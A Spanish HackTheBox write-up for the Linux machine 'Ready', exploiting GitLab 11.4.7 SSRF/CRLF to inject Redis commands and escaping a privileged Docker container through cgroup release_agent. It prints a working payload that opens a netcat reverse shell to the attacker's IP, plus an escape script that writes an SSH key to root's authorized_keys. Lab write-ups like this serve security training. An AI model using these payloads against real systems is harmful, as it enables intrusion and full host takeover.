Ready es una de las maquinas existentes actualmente en la plataforma de hacking HackTheBox y es de dificultad Media.
En este caso se trata de una máquina basada en el Sistema Operativo Linux.
Índice
Escaneo de puertos
Como de costumbre, agregamos la IP de la máquina Ready 10.10.10.220 a /etc/hosts como ready.htb y comenzamos con el escaneo de puertos nmap.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 |
# Nmap 7.70 scan initiated Sun Dec 13 11:23:29 2020 as: nmap -sC -sV -p- -oA enumeration/nmap 10.10.10.220 Nmap scan report for 10.10.10.220 Host is up (0.086s latency). Not shown: 65533 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0) 5080/tcp open http nginx | http-robots.txt: 53 disallowed entries (15 shown) | / /autocomplete/users /search /api /admin /profile | /dashboard /projects/new /groups/new /groups/*/edit /users /help |_/s/ /snippets/new /snippets/*/edit |_http-server-header: nginx | http-title: Sign in \xC2\xB7 GitLab |_Requested resource was http://10.10.10.220:5080/users/sign_in |_http-trane-info: Problem with XML parsing of /evox/about Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Sun Dec 13 11:24:26 2020 -- 1 IP address (1 host up) scanned in 57.61 seconds |
Revisamos los puertos descubiertos y lo único que puede interesarnos ahora es el puerot 5080 que al ser un nginx será un portal web.
Enumeracion
Accedemos a través del navegador al puerto 5080 y obtenemos un portal con el software Gitlab:
Como nos disponemos de una cuenta, nos creamos la misma y accedemos al portal:
Y en primer lugar, vamos a ver la ayuda del portal, que entre otras cosas nos indicará la versión del mismo y nos dará pistas sobre que hacer a continuación:
Descubrimos que se trata de la versión 11.4.7 por lo que nos vamos a google a buscar si existe alguna vulnerabilidad y encontramos dos, SSRF y CRLF, y una POC bastante interesante sobre como llevar a cabo el ataque:
https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/
Además de esto, como se trata de una versión Community vamos al repositorio de código de gitlab y encontramos en github el código que identifica las correcciones realizadas para las vulnerabilidades de SSRF y CRLF.
Así que vamos a tratar de realizar el ataque. Para ello se trata en aprovechar la vulnerabilidad para poder acceder ya sea desde la importación por url o desde dentro de un proyecto añadiendo un repositorio nuevo, conectar con el servicio redis interno que escucha sólo en localhost con el objetivo de lograr un RCE en el mismo y obtener información sensible del sistema o, en su defecto, realizar la ejecución de ciertos comandos que nos ayuden a obtener acceso al servidor.
Vamos a hacer una primera prueba con la dirección de localhost, 127.0.0.1:
Pero al realizarlo de esta forma nos da un error, por lo que utilizaremos la técnica de bypass mediante ipv6 para intentar saltar la restricción:
Y en este caso no nos da ningún error, por lo que será la técnica utilizada para realizar la ejecución de nuestro payload, quedando entonces nuestro código completo de la siguiente forma:
1 2 3 4 5 6 7 |
git://[0:0:0:0:0:ffff:127.0.0.1]:6379/ multi sadd resque:gitlab:queues system_hook_push lpush resque:gitlab:queue:system_hook_push "{\"class\":\"GitlabShellWorker\",\"args\":[\"class_eval\",\"open(\'|cat /flag | nc 10.10.14.13 4444 -e /bin/bash \').read\"],\"retry\":3,\"queue\":\"system_hook_push\",\"jid\":\"ad52abc5641173e217eb2e52\",\"created_at\":1513714403.8122594,\"enqueued_at\":1513714403.8129568}" exec exec /ssrf.git |
Ahora ya tenemos el código completo, pero nos falta un paso más y es codificar el mismo para evitar que se bloqueado por el uso de ciertos caracteres no permitidos, así que codificamos nuestro payload y el código completo quedaría tal que así:
1 |
git://[0:0:0:0:0:ffff:127.0.0.1]:6379/%0D%0A%20multi%0D%0A%20sadd%20resque%3Agitlab%3Aqueues%20system%5Fhook%5Fpush%0D%0A%20lpush%20resque%3Agitlab%3Aqueue%3Asystem%5Fhook%5Fpush%20%22%7B%5C%22class%5C%22%3A%5C%22GitlabShellWorker%5C%22%2C%5C%22args%5C%22%3A%5B%5C%22class%5Feval%5C%22%2C%5C%22open%28%5C%27%7Ccat%20%2Fflag%20%7C%20nc%2010%2E10%2E14%2E13%204444%20%2de%20%2fbin%2fbash%20%5C%27%29%2Eread%5C%22%5D%2C%5C%22retry%5C%22%3A3%2C%5C%22queue%5C%22%3A%5C%22system%5Fhook%5Fpush%5C%22%2C%5C%22jid%5C%22%3A%5C%22ad52abc5641173e217eb2e52%5C%22%2C%5C%22created%5Fat%5C%22%3A1513714403%2E8122594%2C%5C%22enqueued%5Fat%5C%22%3A1513714403%2E8129568%7D%22%0D%0A%20exec%0D%0A%20exec%0D%0A/ssrf.git |
Ahora que ya lo tenemos generado, abrimos una escucha con netcat en el puerto que indicamos en el payload y lanzamos la creación de un nuevo proyecto, importado desde url, y cuya url será el payload que acabamos de generar.
A los pocos segundos de crear el proyecto con nuestro payload veremos en nuestra escucha como hemos obtenido acceso con el usuario git:
1 2 3 4 5 6 7 |
$ nc -nlvp 4444 listening on [any] 4444 ... connect to [10.10.14.13] from (UNKNOWN) [10.10.10.220] 49770 id uid=998(git) gid=998(git) groups=998(git) whoami git |
Como tenemos una shell bastante incómoda utilizaremos python para obtener una más adecuada y con la que nos será más fácil continuar trabajando:
1 2 |
python3 -c 'import pty;pty.spawn("/bin/bash")' git@gitlab:~/gitlab-rails/working$ |
Y ahora tocat enumerar, así que buscamos por el sistema y encontramos unos ficheros interesantes en la ruta /opt/backup:
1 2 3 4 5 6 7 8 9 10 |
git@gitlab:/opt/backup$ pwd pwd /opt/backup git@gitlab:/opt/backup$ ls -l ls -l total 100 -rw-r--r-- 1 root root 872 Dec 7 09:25 docker-compose.yml -rw-r--r-- 1 root root 15092 Dec 1 16:23 gitlab-secrets.json -rw-r--r-- 1 root root 79639 Dec 1 19:20 gitlab.rb git@gitlab:/opt/backup$ |
Y encontramos una password en el fichero gitlab.rb
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 |
git@gitlab:/opt/backup$ cat gitlab.rb|grep -i password cat gitlab.rb|grep -i password #### Email account password # gitlab_rails['incoming_email_password'] = "[REDACTED]" # password: '_the_password_of_the_bind_user' # password: '_the_password_of_the_bind_user' # '/users/password', #### Change the initial default admin password and shared runner registration tokens. # gitlab_rails['initial_root_password'] = "password" # gitlab_rails['db_password'] = nil # gitlab_rails['redis_password'] = nil gitlab_rails['smtp_password'] = "wW59U!ZKMbG9+*#h" # gitlab_shell['http_settings'] = { user: 'username', password: 'password', ca_file: '/etc/ssl/cert.pem', ca_path: '/etc/pki/tls/certs', self_signed_cert: false} ##! `SQL_USER_PASSWORD_HASH` can be generated using the command `gitlab-ctl pg-password-md5 gitlab` # postgresql['sql_user_password'] = 'SQL_USER_PASSWORD_HASH' # postgresql['sql_replication_password'] = "md5 hash of postgresql password" # You can generate with `gitlab-ctl pg-password-md5 <dbuser>` # redis['password'] = 'redis-password-goes-here' ####! **Master password should have the same value defined in ####! redis['password'] to enable the instance to transition to/from # redis['master_password'] = 'redis-password-goes-here' # geo_secondary['db_password'] = nil # geo_postgresql['pgbouncer_user_password'] = nil # password: PASSWORD ###! generate this with `echo -n '$password + $username' | md5sum` # pgbouncer['auth_query'] = 'SELECT username, password FROM public.pg_shadow_lookup($1)' # password: MD5_PASSWORD_HASH # postgresql['pgbouncer_user_password'] = nil git@gitlab:/opt/backup$ |
Probamos a escalar privilegios, y conseguimos con la misma escalar a root dentro del contenedor:
1 2 3 4 5 |
git@gitlab:/opt/backup$ su su Password: wW59U!ZKMbG9+*#h root@gitlab:/opt/backup# |
Obteniendo la flag de user
Con root dentro del contenedor, nos vamos a la home del usuario dude y obtenemos la flag de user:
1 2 3 4 5 6 7 8 |
root@gitlab:/home/dude# ls -l ls -l total 4 -r--r----- 1 dude git 33 Dec 2 10:46 user.txt root@gitlab:/home/dude# cat user.txt cat user.txt exxxxxxxxxxxxxxxxxxxxxxxxxxxxxx2 root@gitlab:/home/dude# |
Y tenemos ya la mitad de la máquina realizado.
Escalado de privilegios
Después de dar unas vueltas y enumerar varias veces el sistema, no encontramos nada que pueda ayudarnos por el momento a conseguir escapar del contenedor, aśi que buscamos alguna técnica en google y encontramos un post donde explica como escapar de Contenedores Privilegiados.
Así que siguiendo con la explicación vamos a crear el script para realizar la explotación y escapar del contenedor.
Necesitaremos previamente crear una clave ssh que será la que importaremos mediante el script para obtener acceso posteriormente a la máquina como root, así que generamos la nuestra y la incluimos en el script quedando así:
1 2 3 4 5 6 7 8 9 10 11 |
#!/bin/bash mkdir /tmp/byte && mount -t cgroup -o rdma cgroup /tmp/byte && mkdir /tmp/byte/x echo 1 > /tmp/byte/x/notify_on_release host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab` echo "$host_path/cmd" > /tmp/byte/release_agent echo '#!/bin/sh' > /cmd echo "echo 'id_rsa.pub' > /root/.ssh/authorized_keys" >> /cmd chmod a+x /cmd sh -c "echo \$\$ > /tmp/byte/x/cgroup.procs" |
Subiremos entonces el script a la máquina mediante un server en python levantado en local:
1 |
$ python3 -m http.server 8000 |
Descargamos y damos permisos de ejecución:
1 2 |
wget http://10.10.14.13:8000/descape.sh chmod +x descape.sh |
Y ejecutamos el mismo:
1 2 3 |
root@gitlab:/tmp# ./descape.sh ./descape.sh root@gitlab:/tmp# |
Y ahora sólo nos queda acceder por ssh con nuestra clave de root:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 |
$ ssh -i /tmp/root.pem root@10.10.10.220 Welcome to Ubuntu 20.04 LTS (GNU/Linux 5.4.0-40-generic x86_64) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/advantage System information as of Mon 14 Dec 2020 09:30:01 PM UTC System load: 0.13 Usage of /: 66.5% of 17.59GB Memory usage: 74% Swap usage: 0% Processes: 336 Users logged in: 0 IPv4 address for br-bcb73b090b3f: 172.19.0.1 IPv4 address for docker0: 172.17.0.1 IPv4 address for ens160: 10.10.10.220 IPv6 address for ens160: dead:beef::250:56ff:feb9:a314 => There are 6 zombie processes. * Introducing self-healing high availability clusters in MicroK8s. Simple, hardened, Kubernetes for production, from RaspberryPi to DC. https://microk8s.io/high-availability 170 updates can be installed immediately. 73 of these updates are security updates. To see these additional updates run: apt list --upgradable The list of available updates is more than a week old. To check for new updates run: sudo apt update Last login: Sun Dec 13 15:04:10 2020 from 10.10.14.5 root@ready:~# id uid=0(root) gid=0(root) groups=0(root) root@ready:~# whoami root |
Obteniendo la flag de root
Ahora que ya somos root en la máquina, nos vamos a la home del usuario y obtenemos nuestra flag:
1 2 3 4 5 6 7 8 9 |
root@ready:~# ls -l total 16 drwxr-xr-x 3 root root 4096 Dec 1 12:41 docker-gitlab drwxr-xr-x 10 root root 4096 Jul 9 15:24 ready-channel -r-------- 1 root root 33 Jul 8 11:18 root.txt drwxr-xr-x 3 root root 4096 May 18 2020 snap root@ready:~# cat root.txt bxxxxxxxxxxxxxxxxxxxxxxxxxxxxx3 root@ready:~# |
Y ya tenemos nuestra flag de root para completar esta máquina y conseguir nuestros puntos.
Si eres usuario de HackTheBox y te gustó mi writeup, por favor, dame respeto en el siguiente enlace